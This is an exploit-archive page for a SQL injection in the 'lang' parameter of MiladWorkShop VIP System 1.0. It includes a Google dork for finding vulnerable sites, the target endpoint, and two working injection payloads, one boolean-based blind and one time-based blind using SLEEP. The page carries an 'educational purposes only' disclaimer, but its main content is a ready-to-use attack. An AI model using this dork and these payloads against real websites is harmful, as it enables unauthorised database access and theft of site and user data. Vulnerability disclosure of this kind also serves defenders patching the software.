Miladworkshop vip system 1.0 lang sql injection Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2020-03-16 |
Type : webapps |
Platform : php
This exploit / vulnerability Miladworkshop vip system 1.0 lang sql injection is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Exploit Title: MiladWorkShop VIP System 1.0 - 'lang' SQL Injection
# Google Dork: Powered By MiladWorkShop VIP System
# Date: 2020-03-03
# Exploit Author: AYADI Mohamed
# email : ayadi.mohamed@outlook.com
# Vendor Homepage: https://miladworkshop.ir/
# Software Link: https://miladworkshop.ir/vip.html
# Version: 1.x
# Tested on: Kali Linux (sqlmap)
# CVE : N/A
[ SQL injection exploitation ]
Address : http://vip.target/forget
Request Type : Post
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: lang=en AND 3-4400' OR 6146=6146-- ivGZ21=6 AND 000wM2X=000wM2X
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: lang=en AND 3' AND (SELECT 2915 FROM (SELECT(SLEEP(50)))StCO)-- vkVG21=6 AND 000wM2X=000wM2X